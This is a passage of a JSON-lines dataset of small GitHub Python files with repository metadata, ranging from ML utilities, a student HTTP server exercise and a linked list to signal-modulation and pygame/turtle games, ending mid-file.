torch.zeros(num_aug_nodes, num_aug_nodes, 1)\n        for v1, v2 in zip(data.edge_index[0], data.edge_index[1]):\n            mat[v1][v2] = torch.tensor([1])\n        for v, node_feat in enumerate(node_feats):\n            mat[v][num_nodes:] = node_feat.unsqueeze(1)\n        \n        y = data.y.squeeze()\n        if y.dim() == 0 or len(y) == 1:\n            y = int(y)\n        return (mat.transpose(0, 1).transpose(0,2), y)\n","repo_name":"nathanlucaussy/provably-powerful-GNNs","sub_path":"model_wrappers/PPGN_new_data_format_wrapper.py","file_name":"PPGN_new_data_format_wrapper.py","file_ext":"py","file_size_in_byte":5223,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"74836895093","text":"import os\nimport argparse\n\nimport pandas as pd\nfrom tqdm import tqdm\n\n\ndef preprocessing(BASE_PATH, SAVE_PATH):\n    question_lists, answer_lists = [], []\n    all_data = []\n    for fn in os.listdir(BASE_PATH):\n        if os.path.splitext(fn)[-1] != '.xlsx':\n            continue\n        print(fn)\n        data = pd.read_excel(os.path.join(BASE_PATH, fn))\n        all_sentence, id_list = [], []\n        for sentence, speaker_id in tqdm(zip(data[\"SENTENCE\"], data[\"SPEAKERID\"]), total=len(data)):\n            all_sentence.append(str(sentence))\n            id_list.append(speaker_id)\n\n        questions, answers = [], []\n        i = 0\n        while i < len(all_sentence):\n            end = i + 1\n            _id = id_list[i]\n            if end >= len(all_sentence):\n                break\n            while end < len(all_sentence) and id_list[end] == _id:\n                end += 1\n            if _id == 1:\n                try:\n                    questions.append(\" \".join(all_sentence[i:end]) + \"</s>\")\n                except:\n                    print(i, end)\n                    break\n            else:\n                answers.append(\" \".join(all_sentence[i:end]) + \"</s>\")\n            i = end\n        min_length = min(len(questions), len(answers))\n        question_lists.extend(questions[:min_length])\n        answer_lists.extend(answers[:min_length])\n        for i in range(min_length):\n            all_data.append(questions[i])\n            all_data.append(answers[i])\n\n    with open(SAVE_PATH, 'wt', encoding='utf-8') as f:\n        for line in all_data:\n            f.write(line + \"\\n\")\n\n\ndef main():\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument('--data_dir', required=True,\n                        help=\"Your Data Directory Path\")\n    parser.add_argument('--save_file', required=True,\n                        help=\"Save path extension : '.txt'\")\n\n    args = parser.parse_args()\n\n    DATA_PATH = args.data_dir\n    SAVE_PATH = args.save_file\n\n    preprocessing(DATA_PATH, SAVE_PATH)\n\n\nif __name__==\"__main__\":\n    main()","repo_name":"pellto/comcom_online_task","sub_path":"finetune_code/preprocess.py","file_name":"preprocess.py","file_ext":"py","file_size_in_byte":2039,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73378043251","text":"import math\nfrom typing import List\n\nimport numpy as np\nimport pandas as pd\nimport torch\nfrom captum.attr import IntegratedGradients\n\nfrom scce.model.dataset import InputDataProcessingHelper\nfrom scce.model.net import load_network\n\n\ndef integrated_gradients(\n    model_file, RNA_values: List[np.array], gene_names: List[str]\n) -> pd.DataFrame:\n    checkpoint, model = load_network(model_file)\n    model.cuda()\n    model.eval()\n    ig = IntegratedGradients(model)\n\n    input_raw_length, kernel_size, input_size, output_size = (\n        checkpoint[\"input_raw_length\"],\n        checkpoint[\"kernel_size\"],\n        checkpoint[\"input_size\"],\n        checkpoint[\"output_size\"],\n    )\n    helper = InputDataProcessingHelper(input_raw_length, kernel_size)\n\n    scores = torch.zeros(math.prod(input_size))\n    for RNA_value in RNA_values:\n        input = helper.do(RNA_value.copy())\n        input = torch.Tensor(input).cuda().unsqueeze(0).unsqueeze(0)\n\n        for i in range(output_size):\n            attributions = ig.attribute(input, target=(0, i))[0, 0].reshape(-1)\n            scores += attributions.cpu().detach()\n\n    scores = pd.DataFrame(scores, index=gene_names[: len(scores)], columns=[\"score\"])\n    return scores\n","repo_name":"LMH0066/SEE","sub_path":"scce/analyse/attribution.py","file_name":"attribution.py","file_ext":"py","file_size_in_byte":1215,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"26990282090","text":"import re\r\nn = int(input())\r\npatern = r\"^[+-.]?[0-9]*\\.[0-9]+$\"\r\n\"\"\"^ use for start with\r\n[] for set of \r\n? for zero and one occurrance\r\n* for one or more occurrance \r\n\\ for special character \r\n+ use for match\r\n$ use for end with\"\"\"\r\n\r\nfor i in range(n):\r\n    value = input()\r\n    print(bool(re.match(patern, value)))","repo_name":"durgeshbhargava/INNOMATICS_DataScience_Internship","sub_path":"Task - 5 (RegEx)/5.1 Detect Floating Point Number.py","file_name":"5.1 Detect Floating Point Number.py","file_ext":"py","file_size_in_byte":317,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"}
+{"seq_id":"1832008751","text":"#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\nfrom pyper import R\nimport os\nfrom PreProcess import processTweet, is_ascii\n\n\nclass supervisedLDA:\n\n    def __init__(self, dataFileName, alpha=1.0, numtopics=5, eta=0.1, logistic=True, lamda=1.0, e_iter=10, m_iter=4, variance=0.25, cutoff=0.25):\n        model_filename = 'model_%s.RDS' % dataFileName\n        vocab_filename = 'vocabulary_%s.RDS' % dataFileName\n        fullpath = os.path.realpath(__file__)\n        (path, files) = os.path.split(fullpath)\n        self.path = path\n        self.params = {\n            'numtopics': numtopics,\n            'alpha': alpha,\n            'eta': eta,\n            'logistic': logistic,\n            'lambda': lamda,\n            'e_iter': e_iter,\n            'm_iter': m_iter,\n            'variance': variance,\n            'OutputName': dataFileName,\n            'model_filename': model_filename,\n            'vocab_filename': vocab_filename,\n            'test_cutoff': cutoff,\n        }\n        self.r = R(use_pandas=True, use_numpy=True)\n        self.assign_R_params()\n\n    def set_param(self, param_name, param_value):\n        self.params[param_name] = param_value\n\n    def get_params(self, deep=False):\n        return self.params\n\n    def assign_R_params(self):\n        for (key, value) in self.params.iteritems():\n            self.r.assign(key, value)\n\n    def fit(self, documents, labels):\n        (documents, labels) = self.transform(documents, labels)\n        self.r.assign('documents', documents)\n        self.r.assign('labels', labels)\n        self.r.run('source(\"trainLDA.R\")')\n        vocab = self.r['vocabulary']\n        self.set_param('vocabulary', vocab)\n        self.assign_R_params()\n\n    def transform(self, documents, labels):\n        documents = [(tweet if is_ascii(tweet) else ' ') for tweet in\n                     documents]\n        documents = map(lambda x: processTweet(x), documents)\n        documents = map(lambda x: str(x).translate(None, '\"'),\n                        documents)\n        (tweets_filtered, labels_filtered) = ([], [])\n        for (tweet, label) in zip(documents, labels):\n            if len(tweet) > 1:\n                tweets_filtered.append(tweet)\n                labels_filtered.append(label)\n        return (tweets_filtered, labels_filtered)\n\n    def test_transform(self, documents):\n        documents = [(tweet if is_ascii(tweet) else ' ') for tweet in\n                     documents]\n        documents = map(lambda x: processTweet(x), documents)\n        documents = map(lambda x: str(x).translate(None, '\"'),\n                        documents)\n        tweets_filtered = []\n        for tweet in documents:\n            if len(tweet) > 1:\n                tweets_filtered.append(tweet)\n        return tweets_filtered\n\n    def __str__(self):\n        return 'sLDA(cut:%s)' % self.params['test_cutoff']\n\n    def predict(self, documents, gold_labels):\n        (documents, gold_labels) = self.transform(documents,\n                gold_labels)\n        self.r.assign('testDocuments', documents)\n        self.r.run('source(\"testLDA.R\")')\n        predictions = self.r['pred']\n        cutoff = self.params['test_cutoff']\n        predictions = map(lambda x: int(x > cutoff), predictions)\n        return (predictions, gold_labels)\n\n    def save_model(self):\n        self.r.run('source(\"%s/saveModel.R\")' % self.path)\n\n    def load_model(self):\n        self.r.run('source(\"%s/loadModel.R\")' % self.path)\n        vocab = self.r['vocab']\n        topics = self.r['topics']\n        self.set_param('vocab', vocab)\n        self.set_param('topics', topics)\n        self.assign_R_params()\n","repo_name":"dssg/tweedr","sub_path":"tweedr/ml/pyslda/PySLDA.py","file_name":"PySLDA.py","file_ext":"py","file_size_in_byte":3594,"program_lang":"python","lang":"en","doc_type":"code","stars":54,"dataset":"github-code","pt":"21"}
+{"seq_id":"4049564141","text":"# 1. Use the import statement to import a built-in package in Python. 2. Use the import statement to call a function present in another Python file.\nimport json\nfrom Python.employee import details, employee_name, age, title\n\ndef create_dict(name, age, title):\n    employee_dict = {\n        \"first_name\": str(name),\n        \"age\" : int(age),\n        \"title\" : str(title)\n    }\n    json_obj = json.dumps(employee_dict)\n    return employee_dict\n\ndef write_json_to_file(json_obj, output_file):\n    newfile = open(output_file, 'w')\n    newfile.write(str(json_obj))\n    newfile.close()\n    return","repo_name":"tgilly93/BEND_Coursera","sub_path":"Python/imports.py","file_name":"imports.py","file_ext":"py","file_size_in_byte":590,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"13310946139","text":"import numpy as np\r\n\r\nfin = './exercise_2_input.dat' # Input file name\r\n\r\ny = np.loadtxt(fin)    # Read data from file into NumPy array named data\r\n\r\n# Set some parameters\r\ndx = 2.0    #   Data spacing\r\nnx = len(y)  # Determines number of data points\r\n\r\nwave_length = 200.0\r\nk = 2*np.pi/wave_length  # Wavenumber\r\nx = dx*np.arange(0,nx)  #  X values for calculating analytic derivative\r\nanalytic = -(k**2)*np.sin(k*x)  # Analytic derivative\r\n\r\nsecond = np.zeros_like(analytic) # forward\r\nsecond.fill(None)\r\nfourth = np.copy(second)    # fourth-order\r\n\r\n#Calculate standard difference\r\nfor i in range(1, nx-1): # Note:  n starts at 1, not 0\r\n    second[i] = (y[i+1]+y[i-1]-2*y[i])/(dx**2)\r\n\r\n#Calculate fourth-order difference\r\nfor i in range(2, nx-2):\r\n    fourth[i] = (1/dx**2)*(((4/3)*(y[i+1] + y[i-1])) - ((1/12) * (y[i+2] + y[i-2])) - ((5/2) * y[i]))\r\n\r\n# Print results\r\ns = '{0:3s}  {1:12s}  {2:12s}  {3:12s}'.format(' ', ' analytic',' second', ' fourth')\r\nprint(s)\r\nfor i, a in enumerate(analytic):\r\n    s = '{0:3d}  {1:12.9f}  {2:12.9f}  {3:12.9f}'.format(i,a,second[i],fourth[i])\r\n    print(s)","repo_name":"unCl0ud/ESCI445","sub_path":"2/2-2.py","file_name":"2-2.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"1552162592","text":"import json\nimport sys\nimport os\nfrom collections import defaultdict\nfrom itertools import combinations\nfrom operator import add\nfrom mrjob.job import MRJob\n\nclass TitleIndex(MRJob):\n  def mapper(self, _, line):\n  \n    self.increment_counter('posts', 'count', 1)\n    \n    text_term_counts = defaultdict(int)\n    \n    post = json.loads(line.strip())\n    post_id = int(post['id'])\n    title_bigrams = post['title_bigrams']\n      \n    for bigram in title_bigrams:\n      text_term_counts[' '.join(sorted(bigram))] += 1\n      \n    for (term, tf) in text_term_counts.iteritems():\n      yield (term, post_id)\n    \n  def combiner(self, term, values):\n    yield (term, [post_id[0] for post_id in values])\n      \n  \n  def reducer(self, term, values):\n    self.increment_counter('title_bigrams', 'count', 1)\n    yield (term, [post_id for post_id in values])\n           \n           \nif __name__ == '__main__':\n  TitleIndex.run()\n","repo_name":"rottentomato56/kaggle-fb-stackoverflow","sub_path":"Final/title_term_index.py","file_name":"title_term_index.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14434997609","text":"import pyttsx3\r\nimport PyPDF2\r\nbook = open('pdf path','rb')\r\npdfReader =PyPDF2.PdfFileReader(book)\r\npages = pdfReader.numPages\r\n#print('pages') to print number of pages in pdf\r\nspeaker =pyttsx3.init()\r\nfor num in range(0,pages):\r\n    pa = pdfReader.getPage(num)\r\n    text = pa.extractText()\r\n    speaker.say(text)\r\n    speaker.runAndWait()\r\n","repo_name":"Manoj-3868/python-projects","sub_path":"pdftoaudiobook/pdftoaudiobook.py","file_name":"pdftoaudiobook.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"33631668900","text":"from rest_framework import generics\nfrom rest_framework.exceptions import APIException\nfrom rest_framework.views import status\nfrom django_filters import rest_framework as filters\nfrom django.db.models import QuerySet\nfrom .models import Suit, Price\nfrom .serializers import SuitSerializer\nfrom .filters import SuitFilter\n\n\nclass BadRequest(APIException):\n    status_code = status.HTTP_400_BAD_REQUEST\n    default_detail = 'Bad request'\n    default_code = 'bad_request'\n\n    def __init__(self, description=None, *args, **kwargs):\n        if description is not None:\n            self.default_detail = description\n        super().__init__()\n\n\nclass ListSuitsView(generics.ListAPIView):\n    filter_backends = (filters.DjangoFilterBackend,)\n    filter_class = SuitFilter\n    \"\"\"\n    Provides a get method handler.\n    \"\"\"\n    queryset = Suit.objects.all()\n    serializer_class = SuitSerializer\n\n    @staticmethod\n    def is_filtering_by_currency(currency, min_price, max_price):\n        if currency and not min_price and not max_price:\n            suit_ids: QuerySet = Price.objects.filter(currency=currency).values_list('suit_id', flat=True)\n            return Suit.objects.filter(url__in=suit_ids)\n\n    def get_queryset(self):\n        \"\"\"\n        This view should return a list of all the suits\n        currency filter, min_price and max price are handled manually because are custom,\n        they manage the prices nested serializer, see serializer.py also.\n        \"\"\"\n        currency = self.request.query_params.get('currency')\n        min_price = self.request.query_params.get('min_price')\n        max_price = self.request.query_params.get('max_price')\n\n        self.is_filtering_by_currency(currency, min_price, max_price)\n\n        if min_price or max_price:\n            if not currency:\n                raise BadRequest('min_price and max_price filters require currency query parameter to be specified')\n\n            if min_price and not max_price:\n                suit_ids: QuerySet = Price.objects.filter(\n                    currency=currency,\n                    amount__gte=min_price\n                ).values_list('suit_id', flat=True)\n\n                return Suit.objects.filter(url__in=suit_ids)\n            elif max_price and not min_price:\n                suit_ids: QuerySet = Price.objects.filter(\n                    currency=currency,\n                    amount__lte=max_price\n                ).values_list('suit_id', flat=True)\n\n                return Suit.objects.filter(url__in=suit_ids)\n            elif min_price and max_price:\n                suit_ids: QuerySet = Price.objects.filter(\n                    currency=currency,\n                    amount__gte=min_price,\n                    amount__lte=max_price\n                ).values_list('suit_id', flat=True)\n\n                return Suit.objects.filter(url__in=suit_ids)\n\n        if currency:\n            suit_ids: QuerySet = Price.objects.filter(currency=currency).values_list('suit_id', flat=True)\n            return Suit.objects.filter(url__in=suit_ids)\n\n        return Suit.objects.all()\n","repo_name":"lucaronca/suits-api","sub_path":"apps/scraped_suits/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":3068,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"73593888374","text":"import numpy as np\nimport matplotlib.pyplot as plt\n\ndef gera_bitstream(tamanho):\n    return np.random.randint(2, size=tamanho)\n\ndef gera_sinal_ASK(T, snr, fc, fb_ASK):\n    fs = 20 * fc\n    t = np.arange(0, T, 1 / fs)\n    Nb_ASK = int(fb_ASK * T)\n    m_ASK = gera_bitstream(Nb_ASK)\n    m_ASKp = np.repeat(m_ASK, int(fs / fb_ASK)) \n    z_ASK = m_ASKp * np.exp(1j * 2 * np.pi * fc * t)\n    z_ASK_noise = adiciona_ruido(z_ASK, snr)\n    return t, m_ASKp, z_ASK_noise, m_ASK\n\ndef adiciona_ruido(sinal, snr):\n    SNR_dB = snr\n    noise_power = 10 ** (-SNR_dB / 10)\n    noise_real = np.sqrt(noise_power / 2) * np.random.normal(0, 1, len(sinal))\n    noise_imag = np.sqrt(noise_power / 2) * np.random.normal(0, 1, len(sinal))\n    return sinal + noise_real + (1j * noise_imag)\n\ndef intdump(x, factor):\n    return x[::factor]\n\ndef recupera_sinal_ASK(t, sinal_modulado, fc, fb_ASK, fs):\n    m_ASKp_r = sinal_modulado * np.exp(-1j * 2 * np.pi * fc * t)\n    n_samp = int(fs / fb_ASK)\n    m_ASK_r = np.round(intdump(m_ASKp_r, n_samp))\n    return m_ASK_r\n\ndef calcula_BER(sinal_original, sinal_recuperado):\n    bit_errors = np.sum(np.abs(sinal_original - sinal_recuperado))\n    BER = bit_errors / len(m_ASK)\n    return BER\n\ndef plota_sinais_tempo(t, sinal_baseband, sinal_modulado):\n    plt.figure(1)\n    plt.subplot(2, 1, 1)\n    plt.plot(t, np.real(sinal_baseband))\n    plt.xlabel('Tempo (s)')\n    plt.ylabel('Amplitude')\n    plt.title('Sinal no Domínio do Tempo (Baseband)')\n    plt.grid()\n\n    plt.figure(2)\n    plt.subplot(2, 1, 1)\n    plt.plot(t, np.real(sinal_modulado))\n    plt.xlabel('Tempo (s)')\n    plt.ylabel('Amplitude')\n    plt.title('Sinal no Domínio do Tempo (Modulado)')\n    plt.grid()\n\ndef plota_espectro(f, espectro_sinal_baseband, espectro_sinal_modulado):\n    plt.figure(1)\n    plt.subplot(2, 1, 2)\n    plt.plot(f, np.real(espectro_sinal_baseband))\n    plt.grid()\n\n    plt.figure(2)\n    plt.subplot(2, 1, 2)\n    plt.plot(f, np.real(espectro_sinal_modulado))\n    plt.grid()\n\nif __name__ == \"__main__\":\n    T = 1\n    snr = 10\n    fc = 13.56e5\n    fs = 20 * fc\n    fb_ASK = 10e2\n\n    t, sinal_baseband, sinal_modulado, m_ASK = gera_sinal_ASK(T, snr, fc, fb_ASK)\n    m_ASK_r = recupera_sinal_ASK(t, sinal_modulado, fc, fb_ASK, fs)\n    BER = calcula_BER(m_ASK, m_ASK_r)\n\n    print(\"Taxa de Erro de Bit (BER): {:.5f}\".format(BER))\n\n    df = 20 * 13.56e5 / len(t)\n    f = (np.arange(0, len(t)) * df - 20 * 13.56e5 / 2)\n\n    Z_ASKp = np.fft.fftshift(20 * np.log10(np.abs(np.fft.fft(sinal_baseband) + 1e-10)))\n    Z_ASK = np.fft.fftshift(20 * np.log10(np.abs(np.fft.fft(sinal_modulado) + 1e-10)))\n\n\n    plota_sinais_tempo(t, sinal_baseband, sinal_modulado)\n    plota_espectro(f, Z_ASKp, Z_ASK)\n    \n    plt.show()\n","repo_name":"dev-victordias/iot","sub_path":"Simulations/NFC_simulator.py","file_name":"NFC_simulator.py","file_ext":"py","file_size_in_byte":2710,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"35119932843","text":"# ## EJERCICIOS ##\n# 1 - Implementar un servidor http con el módulo http.server que sirva diferentes páginas utilizando como base el código analizado en clase.\n# 2- Utilizar links para navegar entre las distintas páginas.\n\nimport http.server\nimport socketserver\nimport urllib.parse\n\n# GET / HTTP/1.1\n\nPORT = 1111\n\n\nclass handler_manual (http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        if self.path == '/':\n              self.path = '/index.html'\n\n        try:\n            with open(self.path[1:], 'rb') as file:\n                content = file.read()\n            \n            self.send_response(200)\n            self.send_header('Content-Type', 'text/html')\n            self.end_headers()\n            self.wfile.write(content)\n\n        except FileNotFoundError:\n            self.send_error(404, 'Archivo no encontrado')\n        \n\n    def do_POST(self):\n        if self.path == '/submit_form':\n            input_data=self.rfile.read(int(self.headers['Content-Length']))\n            print(\"INPUT DATA: \", input_data)\n                                    \n            response_content = \"¡Formulario enviado correctamente!\"\n            self.send_response(200)\n            self.send_header('Content-Type', 'text/html')\n            self.end_headers()\n            self.wfile.write(response_content.encode('utf-8'))\n        else:\n            self.send_error(404, 'Página no encontrada')   \n\n\n        \n       \n\n\nsocketserver.TCPServer.allow_reuse_address = True\n\n#myhttphandler = http.server.BaseHTTPRequestHandler\n#myhttphandler = http.server.SimpleHTTPRequestHandler\nmyhttphandler = handler_manual\n\n\n#httpd = socketserver.TCPServer((\"\", PORT), myhttphandler)\nhttpd = http.server.HTTPServer((\"\", PORT), myhttphandler)\n#httpd = http.server.ThreadingHTTPServer((\"\", PORT), myhttphandler)\n\nprint(f\"Opening httpd server at port {PORT}\")\n\nhttpd.serve_forever()\n\nhttpd.shutdown()","repo_name":"AugustoKark/Computacion2_AK2023","sub_path":"Ejercicios_Clases/Clase17/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":1889,"program_lang":"python","lang":"es","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"}
+{"seq_id":"18618453507","text":"#!/bin/python3\n\nimport turtle\nimport random\nimport math\n\nphi = 360 / 7\nr = 50\n\ndef gotoxy(x,y):\n    turtle.penup()\n    turtle.goto(x,y)\n    turtle.pendown()\n\ndef draw_circle(r,color):\n    turtle.fillcolor(color)\n    turtle.begin_fill()\n    turtle.circle(r)\n    turtle.end_fill()\n\ndef baraban(x,y):\n    gotoxy(x,y)\n    turtle.circle(80)\n    gotoxy(x, y + 160)\n    draw_circle(5, 'red')\n    for i in range(0,7):\n            phi_rad = phi * i * math.pi / 180.0\n            gotoxy(x + math.sin(phi_rad) * r, y + math.cos(phi_rad) * r + 60)\n            draw_circle(22, 'white')\n\ndef baraban_anim(x,y,start):\n    for i in range(start,random.randrange(7,34)):\n            phi_rad = phi * i * math.pi / 180.0\n            gotoxy(x + math.sin(phi_rad) * r, x + math.cos(phi_rad) * r + 60)\n            draw_circle(22, 'brown')\n            draw_circle(22, 'white')\n    gotoxy(x + math.sin(phi_rad) * r, x + math.cos(phi_rad) * r + 60)\n    draw_circle(22, 'brown')\n    return i % 7\n    \n\n\nturtle.speed(0)\n\n\nbaraban(100,100)\n\nanswer = ''\nstart = 0\nwhile answer != 'N':\n    answer = turtle.textinput(\"Let's play?\", \"Y/N\")\n\n    if answer == 'Y':\n       start = baraban_anim(100, 100, start)\n       if start % 7 == 0:\n           gotoxy(-150, 250)\n           turtle.write(\"You loose\", font=(\"Arial\", 18, \"normal\"))\n    else:\n        pass","repo_name":"attonizee/python","sub_path":"graph.py","file_name":"graph.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"15336059016","text":"# -*- coding:utf-8 -*-\n\n\nclass Node(object):\n    '''\n        单链表的节点\n    '''\n\n    def __init__(self, item):\n        # item 是存储的数据\n        self.item = item\n        # next 是下一个节点的标示\n        self.next = None\n\n\n# 单向链表\nclass SingleLinkList(object):\n    def __init__(self):\n        self.__head = None\n\n    def is_empty(self):\n        # 判断链表是否为空\n        return self.__head == None\n\n    def length(self):\n        # 返回链表长度\n        cur = self.__head\n        count = 0\n        while cur != None:\n            count += 1\n            cur = cur.next\n        return count\n\n    def travel(self):\n        # 遍历链表\n        cur = self.__head\n        while cur != None:\n            print(cur)\n            cur = cur.next\n        print('遍历完成')\n\n    def add(self, item):\n        # 头部添加\n        '''\n            1.创建新的节点\n            2.将新节点的链接域next指向头节点，即__head指向的位置\n            3.将链表的头__head指向新节点\n        '''\n        node = Node(item)\n        node.next = self.__head\n        self.__head = node\n\n    def append(self, item):\n        '''\n        尾部添加\n        :param item:数据\n        1.先判断链表是否为空，\n        2.空的话，直接将node赋值给head\n        3.不为空的话，遍历到最后一个元素 next==None\n        4.将最后一个元素的next赋值为node\n        '''\n        node = Node(item)\n        if self.is_empty():\n            self.__head = node\n        else:\n            cur = self.__head\n            while cur.next != None:\n                cur = cur.next\n            cur.next = node\n\n    def insert(self, pos, item):\n        # 在某个位置添加\n        # 指定位置在第一个元素之前，执行头部插入\n        if pos <= 0:\n            self.add(item)\n        # 如果 指定位置 超过链表的尾部，执行 尾部插入\n        elif pos > (self.length() - 1):\n            self.append(item)\n        else:\n            # pre用来指向指定位置pos的前一个位置pos-1，初始从头节点开始移动到指定位置\n            node = Node(item)\n            count = 0\n            pre = self.__head\n            while count < (pos - 1):\n                count += 1\n                pre = pre.next\n            # 先将新节点node的next指向插入位置的节点\n            node.next = pre.next\n            # 将插入位置的前一个节点的next指向新节点\n            pre.next = node\n\n    def remove(self, item):\n        # 删除某个元素\n        cur = self.__head\n        pre = None\n        while cur != None:\n            # 找到了指定元素\n            if cur.item == item:\n                # 如果第一个就是删除的节点\n                if not pre:\n                    # 将头指针指向头节点的后一个节点\n                    self.__head = cur.next\n                else:\n                    # 将删除位置前一个节点的next指向删除位置的后一个节点\n                    pre.next = cur.next\n                break\n            else:\n                # 继续按链表后移节点\n                pre = cur\n                cur = cur.next\n\n    def search(self, item):\n        # 判断元素是否在链表中\n        cur = self.__head\n        while cur != None:\n            if cur.item == item:\n                return True\n            cur = cur.next\n        return False\n\n\nif __name__ == '__main__':\n    ll = SingleLinkList()\n    ll.add(1)\n    ll.add(2)\n    ll.append(3)\n    ll.insert(2, 4)\n    print(\"length:\", ll.length())\n    ll.travel()\n    print(ll.search(3))\n    print(ll.search(5))\n    ll.remove(1)\n    print(\"length:\", ll.length())\n    ll.travel()\n","repo_name":"gkf442573575/learn","sub_path":"Python/algorithm/03_linkList.py","file_name":"03_linkList.py","file_ext":"py","file_size_in_byte":3716,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"}
+{"seq_id":"14539832463","text":"import math\r\nimport pygame\r\n\r\n# initialize pygame and create a window\r\npygame.init()\r\nsize2 = 600\r\nscreen = pygame.display.set_mode((size2, size2))\r\npygame.display.set_caption(\"Tic-Tac-Pyramid - By Eliran Breitbart\")\r\n\r\n#gloal variables\r\nglobal size         # board size\r\nglobal curr_player  # current player 0 or 1\r\nglobal scores       # [p0 score, p1 score]\r\nglobal gameTable    # 2d array\r\nglobal rects        # the rects of the circles on the boards\r\nglobal lines        # the lines for completed row/diagonal\r\nglobal radius       # the radius of the circles (in case its needed to be changed later)\r\n\r\n\r\n# prints the board in the terminal - for use in debugging if needed\r\ndef print_game_table():\r\n    width = len(', '.join(map(str, gameTable[size - 1])))\r\n    for i in range(size):\r\n        print(', '.join(map(str, gameTable[i][0:i + 1])).center(width, ' '))\r\n\r\n\r\n# disable the right part of the board\r\ndef disable_blocks():\r\n    for row in range(size):\r\n        for col in range(row + 1, size):\r\n            gameTable[row][col] = -1\r\n\r\n\r\n# initialize / reset the board\r\ndef initialize_data():\r\n    global size, curr_player, scores, gameTable, rects, lines\r\n    curr_player = 0\r\n    scores = [0, 0]\r\n    gameTable = [[0 for i in range(size)] for j in range(size)]\r\n    disable_blocks()\r\n    rects = []\r\n    lines = []\r\n    for row in range(size):\r\n        curr = []\r\n        for col in range(row + 1):\r\n            curr.append(\"\")\r\n        rects.append(curr)\r\n\r\n\r\n# check if we have completed a horizontal line, return points, add line to draw over\r\ndef completed_horizontal(row):\r\n    for row_col in gameTable[row]:\r\n        if row_col == 0:\r\n            return 0\r\n    for col in range(row + 1):\r\n        gameTable[row][col] = -1\r\n    lines.append([(rects[row][0].x - radius, rects[row][0].y + radius),\r\n                  (rects[row][row].x + 3 * radius, rects[row][row].y + radius)])\r\n    return row + 1\r\n\r\n\r\n# check if we have completed a diagonal right-to-left, return points, add line to draw over\r\ndef completed_right_left(col):\r\n    for row in range(size):\r\n        if gameTable[row][col] == 0:\r\n            return 0\r\n    for row in range(size):\r\n        gameTable[row][col] = -1\r\n    lines.append([(rects[col][col].x + radius * (0.5 + math.sqrt(2)), rects[col][0].y + radius * (1 - math.sqrt(2))), (\r\n    rects[size - 1][col].x + radius * (-1.25 + math.sqrt(2)), rects[size - 1][col].y + radius * (1 + math.sqrt(2)))])\r\n    return size - col  # size = length + 1\r\n\r\n\r\n# check if we have completed diagonal left-to-right, return points, add line to draw over\r\ndef completed_left_right(row, col):\r\n    points = 0\r\n    n_row = row - col\r\n    n_col = 0\r\n    for i in range(size - row + col):\r\n        if gameTable[n_row][n_col] == 0:\r\n            return 0\r\n        n_row += 1\r\n        n_col += 1\r\n    n_row = row - col\r\n    n_col = 0\r\n    for i in range(size - row + col):\r\n        gameTable[n_row][n_col] = -1\r\n        n_row += 1\r\n        n_col += 1\r\n        points += 1\r\n    lines.append(\r\n        [(rects[row - col][0].x + radius * (1.5 - math.sqrt(2)), rects[row - col][0].y + radius * (1 - math.sqrt(2))), (\r\n        rects[size - 1][size - row + col - 1].x + radius * (0.5 + math.sqrt(2)),\r\n        rects[size - 1][size - row + col - 1].y + radius * (1 + math.sqrt(2)))])\r\n    return points\r\n\r\n\r\n# returns all the points earned by filling circle (row,col)\r\ndef check_for_completed_lines(row, col):\r\n    return completed_horizontal(row) + completed_right_left(col) + completed_left_right(row, col)\r\n\r\n\r\n# checks if the game has ended by calculating total points.\r\ndef check_game_ended():\r\n    total_aqc_points = 3 * ((size * (size + 1)) // 2)\r\n    if scores[0] + scores[1] == total_aqc_points:\r\n        return True\r\n    return False\r\n\r\n\r\n# updates the board when an available circle is chosen\r\ndef choose_point(row, col):\r\n    global curr_player\r\n    if gameTable[row][col] == 0:\r\n        gameTable[row][col] = 1\r\n        scores[curr_player] += check_for_completed_lines(row, col)\r\n        curr_player = abs(curr_player - 1)\r\n        print_game_table()\r\n    else:\r\n        print(\"player {}, you cannot fill this spot, try again\".format(curr_player))\r\n\r\n\r\n# draws all the lines\r\ndef draw_lines(lines):\r\n    for coord in lines:\r\n        pygame.draw.line(screen, (255, 255, 255), coord[0], coord[1], 3)\r\n\r\n\r\n# main game loop\r\ndef start_game():\r\n    global rects\r\n    global size\r\n    global lines\r\n    global radius\r\n    clock = pygame.time.Clock()\r\n    lines = []\r\n    size = 10\r\n    pygame.font.init()\r\n    initialize_data()\r\n    font = pygame.font.SysFont(None, 30)\r\n    font2 = pygame.font.SysFont(\"comicsansms\", 20)\r\n    font3 = pygame.font.SysFont(\"comicsansms\", 15)\r\n    text_surface = font.render(\r\n        \"player1 score: {0}, player2 score: {1}, Current Player: {2}\".format(scores[0], scores[1], curr_player + 1),\r\n        False, (255, 255, 255))\r\n    texts = list(map(lambda x: font2.render(x, False, (255, 255, 255)),\r\n                     [\"r : restart\", \"- : smaller board\", \"+ : bigger board\"]))\r\n    # game loop\r\n    running = True\r\n 